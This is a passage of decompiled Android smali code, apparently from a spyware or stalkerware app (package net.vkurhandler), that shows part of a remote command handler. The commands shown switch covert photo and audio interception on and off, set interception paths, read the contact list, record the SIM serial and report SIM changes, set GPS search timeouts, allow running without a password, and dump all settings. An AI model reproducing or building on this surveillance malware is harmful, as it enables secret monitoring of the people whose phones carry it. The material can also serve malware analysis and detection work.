                    1699invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    1700move-result-object v0
                    1702invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->a()Ljava/lang/String;
                    1703move-result-object v0
                    1705invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    1706move-result v1
                    1707if-eqz v1, :cond_8c1
                    1709const-string v0, "sim_serial_empty"
                    1710iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1711goto/16 :goto_4e
                    1712cond_8c1:
                    1713const-string v1, "ok"
                    1714iput-object v1, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1716iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1718invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1719move-result-object v1
                    1721const-string v2, "sim_serial_number"
                    1723invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    1724move-result-object v0
                    1726invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1728iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1730invoke-static {v0}, Lnet/vkurhandler/SimChangeNotifier;->a(Landroid/content/Context;)V
                    1731goto/16 :goto_4e
                    1732cond_8db:
                    1733iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1735const-string v5, "enable_catch_photo"
                    1737invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1738move-result v4
                    1739if-eqz v4, :cond_905
                    1741iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1743invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1744move-result-object v0
                    1746const-string v1, "interception_photo"
                    1747const/4 v2, 0x1
                    1749invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1750move-result-object v0
                    1752invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1754iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    1756invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->q()Lnet/vkurhandler/cx;
                    1757move-result-object v0
                    1758const/4 v1, 0x1
                    1760invoke-virtual {v0, v1}, Lnet/vkurhandler/cx;->a(Z)V
                    1762const-string v0, "ok"
                    1763iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1764goto/16 :goto_4e
                    1765cond_905:
                    1766iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1768const-string v5, "disable_catch_photo"
                    1770invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1771move-result v4
                    1772if-eqz v4, :cond_92f
                    1774iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1776invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1777move-result-object v0
                    1779const-string v1, "interception_photo"
                    1780const/4 v2, 0x0
                    1782invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1783move-result-object v0
                    1785invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1787iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    1789invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->q()Lnet/vkurhandler/cx;
                    1790move-result-object v0
                    1791const/4 v1, 0x0
                    1793invoke-virtual {v0, v1}, Lnet/vkurhandler/cx;->a(Z)V
                    1795const-string v0, "ok"
                    1796iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1797goto/16 :goto_4e
                    1798cond_92f:
                    1799iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1801const-string v5, "enable_catch_audio"
                    1803invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1804move-result v4
                    1805if-eqz v4, :cond_959
                    1807iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1809invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1810move-result-object v0
                    1812const-string v1, "interception_audio"
                    1813const/4 v2, 0x1
                    1815invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1816move-result-object v0
                    1818invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1820iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    1822invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->r()Lnet/vkurhandler/n;
                    1823move-result-object v0
                    1824const/4 v1, 0x1
                    1826invoke-virtual {v0, v1}, Lnet/vkurhandler/n;->a(Z)V
                    1828const-string v0, "ok"
                    1829iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1830goto/16 :goto_4e
                    1831cond_959:
                    1832iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1834const-string v5, "disable_catch_audio"
                    1836invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1837move-result v4
                    1838if-eqz v4, :cond_983
                    1840iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1842invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1843move-result-object v0
                    1845const-string v1, "interception_audio"
                    1846const/4 v2, 0x0
                    1848invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1849move-result-object v0
                    1851invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1853iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    1855invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->r()Lnet/vkurhandler/n;
                    1856move-result-object v0
                    1857const/4 v1, 0x0
                    1859invoke-virtual {v0, v1}, Lnet/vkurhandler/n;->a(Z)V
                    1861const-string v0, "ok"
                    1862iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1863goto/16 :goto_4e
                    1864cond_983:
                    1865iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1867const-string v5, "enable_run_no_pwd"
                    1869invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1870move-result v4
                    1871if-eqz v4, :cond_9a3
                    1873iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1875invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1876move-result-object v0
                    1878const-string v1, "run_no_pwd"
                    1879const/4 v2, 0x1
                    1881invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1882move-result-object v0
                    1884invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1886const-string v0, "ok"
                    1887iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1888goto/16 :goto_4e
                    1889cond_9a3:
                    1890iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1892const-string v5, "disable_run_no_pwd"
                    1894invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1895move-result v4
                    1896if-eqz v4, :cond_9c3
                    1898iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    1900invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    1901move-result-object v0
                    1903const-string v1, "run_no_pwd"
                    1904const/4 v2, 0x0
                    1906invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    1907move-result-object v0
                    1909invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    1911const-string v0, "ok"
                    1912iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1913goto/16 :goto_4e
                    1914cond_9c3:
                    1915iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1917const-string v5, "version"
                    1919invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1920move-result v4
                    1921if-eqz v4, :cond_9fd
                    1923iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1925invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    1926move-result-object v0
                    1928iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1930invoke-virtual {v1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    1931move-result-object v1
                    1932const/4 v2, 0x0
                    1934invoke-virtual {v0, v1, v2}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                    1935move-result-object v0
                    1936new-instance v1, Ljava/lang/StringBuilder;
                    1938iget-object v2, v0, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                    1940invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    1941move-result-object v2
                    1943invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    1945const-string v2, ","
                    1947invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    1948move-result-object v1
                    1949iget v0, v0, Landroid/content/pm/PackageInfo;->versionCode:I
                    1951invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    1952move-result-object v0
                    1954invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    1955move-result-object v0
                    1956iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1957goto/16 :goto_4e
                    1958cond_9fd:
                    1959iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1961const-string v5, "contact_list"
                    1963invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1964move-result v4
                    1965if-eqz v4, :cond_a12
                    1966const/4 v0, 0x1
                    1967iput-boolean v0, p0, Lnet/vkurhandler/ah;->i:Z
                    1969invoke-direct {p0}, Lnet/vkurhandler/ah;->b()Ljava/lang/String;
                    1970move-result-object v0
                    1971iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1972goto/16 :goto_4e
                    1973cond_a12:
                    1974iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1976const-string v5, "run_app"
                    1978invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1979move-result v4
                    1980if-eqz v4, :cond_a27
                    1982iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    1984invoke-static {v0}, Lnet/vkurhandler/MyApp;->b(Landroid/content/Context;)V
                    1986const-string v0, "ok"
                    1987iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    1988goto/16 :goto_4e
                    1989cond_a27:
                    1990iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    1992const-string v5, "gps_search_timeout"
                    1994invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    1995move-result v4
                    1996if-eqz v4, :cond_a5b
                    1998iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    1999const/16 v1, 0x1e
                    2001invoke-static {v0, v1}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    2002move-result v0
                    2003const/4 v1, 0x5
                    2004if-lt v0, v1, :cond_a55
                    2005const/16 v1, 0x12c
                    2006if-gt v0, v1, :cond_a55
                    2008iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2010invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2011move-result-object v1
                    2013const-string v2, "gps_search_timeout"
                    2015invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    2016move-result-object v0
                    2018invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2020const-string v0, "ok"
                    2021iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2022goto/16 :goto_4e
                    2023cond_a55:
                    2024const-string v0, "incorrect_params"
                    2025iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2026goto/16 :goto_4e
                    2027cond_a5b:
                    2028iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2030const-string v5, "get_settings"
                    2032invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2033move-result v4
                    2034if-eqz v4, :cond_aae
                    2036iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2038invoke-interface {v0}, Landroid/content/SharedPreferences;->getAll()Ljava/util/Map;
                    2039move-result-object v0
                    2041invoke-interface {v0}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                    2042move-result-object v0
                    2044invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    2045move-result-object v1
                    2046new-instance v2, Lorg/json/JSONObject;
                    2048invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                    2049goto_a78:
                    2050invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                    2051move-result v0
                    2052if-nez v0, :cond_a86
                    2054invoke-virtual {v2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    2055move-result-object v0
                    2056iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2057goto/16 :goto_4e
                    2058cond_a86:
                    2059invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    2060move-result-object v0
                    2061check-cast v0, Ljava/util/Map$Entry;
                    2062if-eqz v0, :cond_a78
                    2064invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                    2065move-result-object v3
                    2066if-eqz v3, :cond_a78
                    2068invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                    2069move-result-object v3
                    2070if-eqz v3, :cond_a78
                    2072invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                    2073move-result-object v3
                    2075invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    2076move-result-object v3
                    2078invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                    2079move-result-object v0
                    2081invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    2082move-result-object v0
                    2084invoke-virtual {v2, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    2085goto/16 :goto_a78
                    2086cond_aae:
                    2087iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2089const-string v5, "add_path_to_interception_photo"
                    2091invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2092move-result v4
                    2093if-eqz v4, :cond_b31
                    2095iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2097const-string v3, "photo_interception_path_json"
                    2099const-string v4, ""
                    2101invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    2102move-result-object v3
                    2104invoke-virtual {v3}, Ljava/lang/String;->length()I
                    2105move-result v2
                    2106if-lez v2, :cond_b17
                    2107new-instance v2, Lorg/json/JSONArray;
                    2109invoke-direct {v2, v3}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                    2110move-object v3, v2
                    2111goto_ace: new-instance v4, Ljava/lang/String;
                    2113iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    2115invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
                    2116move-result-object v2
                    2117const/4 v5, 0x2
                    2119invoke-static {v2, v5}, Landroid/util/Base64;->decode([BI)[B
                    2120move-result-object v2
                    2122invoke-direct {v4, v2}, Ljava/lang/String;-><init>([B)V
                    2123move v2, v0
                    2124goto_adf:
                    2125invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                    2126move-result v5
                    2127if-lt v2, v5, :cond_b1e
                    2128move v1, v0
                    2129cond_ae6: if-nez v1, :cond_b08
                    2130new-instance v0, Lorg/json/JSONObject;
                    2132invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                    2134const-string v1, "path"
                    2136invoke-virtual {v0, v1, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    2138invoke-virtual {v3, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    2140iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2142invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2143move-result-object v0
                    2145const-string v1, "photo_interception_path_json"
                    2147invoke-virtual {v3}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    2148move-result-object v2
                    2150invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    2151move-result-object v0
                    2153invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2154cond_b08:
                    2155const-string v0, "ok"
                    2156iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2158iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2160invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->q()Lnet/vkurhandler/cx;
                    2161move-result-object v0
                    2163invoke-virtual {v0}, Lnet/vkurhandler/cx;->a()V
                    2164goto/16 :goto_4e
                    2165cond_b17: new-instance v2, Lorg/json/JSONArray;
                    2167invoke-direct {v2}, Lorg/json/JSONArray;-><init>()V
                    2168move-object v3, v2
                    2169goto/16 :goto_ace
                    2170cond_b1e:
                    2171invoke-virtual {v3, v2}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    2172move-result-object v5
                    2174const-string v6, "path"
                    2176invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    2177move-result-object v5
                    2179invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2180move-result v5
                    2181if-nez v5, :cond_ae6
                    2182add-int/lit8 v2, v2, 0x1
                    2183goto/16 :goto_adf
                    2184cond_b31:
                    2185iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2187const-string v5, "del_path_from_interception_photo"
                    2189invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2190move-result v4
                    2191if-eqz v4, :cond_bb4
                    2193iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2195const-string v2, "photo_interception_path_json"
                    2197const-string v3, ""
                    2199invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    2200move-result-object v1
                    2202invoke-virtual {v1}, Ljava/lang/String;->length()I
                    2203try_end_b48: move-result v2
                    2204if-lez v2, :cond_b7e
                    2205try_start_b4b: new-instance v2, Lorg/json/JSONArray;
                    2207invoke-direct {v2, v1}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                    2208new-instance v1, Lorg/json/JSONArray;
                    2210invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                    2211new-instance v3, Ljava/lang/String;
                    2213iget-object v4, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    2215invoke-virtual {v4}, Ljava/lang/String;->getBytes()[B
                    2216move-result-object v4
                    2217const/4 v5, 0x2
                    2219invoke-static {v4, v5}, Landroid/util/Base64;->decode([BI)[B
                    2220move-result-object v4
                    2222invoke-direct {v3, v4}, Ljava/lang/String;-><init>([B)V
                    2223goto_b65:
                    2224invoke-virtual {v2}, Lorg/json/JSONArray;->length()I
                    2225move-result v4
                    2226if-lt v0, v4, :cond_b8d
                    2228iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2230invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2231move-result-object v0
                    2233const-string v2, "photo_interception_path_json"
                    2235invoke-virtual {v1}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    2236move-result-object v1
                    2238invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    2239move-result-object v0
                    2241invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2242goto_b7e:
                    2243const-string v0, "ok"
                    2244iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2246iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2248invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->q()Lnet/vkurhandler/cx;
                    2249move-result-object v0
                    2251invoke-virtual {v0}, Lnet/vkurhandler/cx;->a()V
                    2252try_end_b8b: goto/16 :goto_4e
                    2253cond_b8d:
                    2254invoke-virtual {v2, v0}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    2255move-result-object v4
                    2257const-string v5, "path"
                    2259invoke-virtual {v4, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    2260move-result-object v4
                    2262invoke-virtual {v4, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2263move-result v5
                    2264if-nez v5, :cond_baa
                    2265new-instance v5, Lorg/json/JSONObject;
                    2267invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                    2269const-string v6, "path"
                    2271invoke-virtual {v5, v6, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    2273invoke-virtual {v1, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    2274try_end_baa: add-int/lit8 v0, v0, 0x1
                    2275goto/16 :goto_b65
                    2276catch_bad: move-exception v0
                    2277try_start_bae:
                    2278const-string v1, "Commander"
                    2280invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    2281goto/16 :goto_b7e
                    2282cond_bb4:
                    2283iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2285const-string v5, "add_path_to_interception_audio"
                    2287invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2288move-result v4
                    2289if-eqz v4, :cond_c38
                    2291iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2293const-string v3, "audio_interception_path_json"
                    2295const-string v4, ""
                    2297invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    2298move-result-object v3
                    2300invoke-virtual {v3}, Ljava/lang/String;->length()I
                    2301move-result v2
                    2302if-lez v2, :cond_c1c
                    2303new-instance v2, Lorg/json/JSONArray;
                    2305invoke-direct {v2, v3}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                    2306move-object v3, v2
                    2307goto_bd4: new-instance v4, Ljava/lang/String;
                    2309iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    2311invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
                    2312move-result-object v2
                    2313const/4 v5, 0x2
                    2315invoke-static {v2, v5}, Landroid/util/Base64;->decode([BI)[B
                    2316move-result-object v2
                    2318invoke-direct {v4, v2}, Ljava/lang/String;-><init>([B)V
                    2319move v2, v0
                    2320goto_be5:
                    2321invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                    2322move-result v5
                    2323if-lt v2, v5, :cond_c23
                    2324goto_beb: if-nez v0, :cond_c0d
                    2325new-instance v0, Lorg/json/JSONObject;
                    2327invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                    2329const-string v1, "path"
                    2331invoke-virtual {v0, v1, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    2333invoke-virtual {v3, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    2335iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2337invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2338move-result-object v0
                    2340const-string v1, "audio_interception_path_json"
                    2342invoke-virtual {v3}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    2343move-result-object v2
                    2345invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    2346move-result-object v0
                    2348invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    2349cond_c0d:
                    2350const-string v0, "ok"
                    2351iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    2353iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    2355invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->r()Lnet/vkurhandler/n;
                    2356move-result-object v0
                    2358invoke-virtual {v0}, Lnet/vkurhandler/n;->a()V
                    2359goto/16 :goto_4e
                    2360cond_c1c: new-instance v2, Lorg/json/JSONArray;
                    2362invoke-direct {v2}, Lorg/json/JSONArray;-><init>()V
                    2363move-object v3, v2
                    2364goto/16 :goto_bd4
                    2365cond_c23:
                    2366invoke-virtual {v3, v2}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    2367move-result-object v5
                    2369const-string v6, "path"
                    2371invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    2372move-result-object v5
                    2374invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2375move-result v5
                    2376if-eqz v5, :cond_c35
                    2377move v0, v1
                    2378goto/16 :goto_beb
                    2379cond_c35: add-int/lit8 v2, v2, 0x1
                    2380goto/16 :goto_be5
                    2381cond_c38:
                    2382iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    2384const-string v5, "del_path_from_interception_audio"
                    2386invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    2387move-result v4
                    2388if-eqz v4, :cond_cbb
                    2390iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2392const-string v2, "audio_interception_path_json"
                    2394const-string v3, ""
                    2396invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    2397move-result-object v1
                    2399invoke-virtual {v1}, Ljava/lang/String;->length()I
                    2400try_end_c4f: move-result v2
                    2401if-lez v2, :cond_c85
                    2402try_start_c52: new-instance v2, Lorg/json/JSONArray;
                    2404invoke-direct {v2, v1}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                    2405new-instance v1, Lorg/json/JSONArray;
                    2407invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                    2408new-instance v3, Ljava/lang/String;
                    2410iget-object v4, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    2412invoke-virtual {v4}, Ljava/lang/String;->getBytes()[B
                    2413move-result-object v4
                    2414const/4 v5, 0x2
                    2416invoke-static {v4, v5}, Landroid/util/Base64;->decode([BI)[B
                    2417move-result-object v4
                    2419invoke-direct {v3, v4}, Ljava/lang/String;-><init>([B)V
                    2420goto_c6c:
                    2421invoke-virtual {v2}, Lorg/json/JSONArray;->length()I
                    2422move-result v4
                    2423if-lt v0, v4, :cond_c94
                    2425iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    2427invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    2428move-result-object v0
                    2430const-string v2, "audio_interception_path_json"
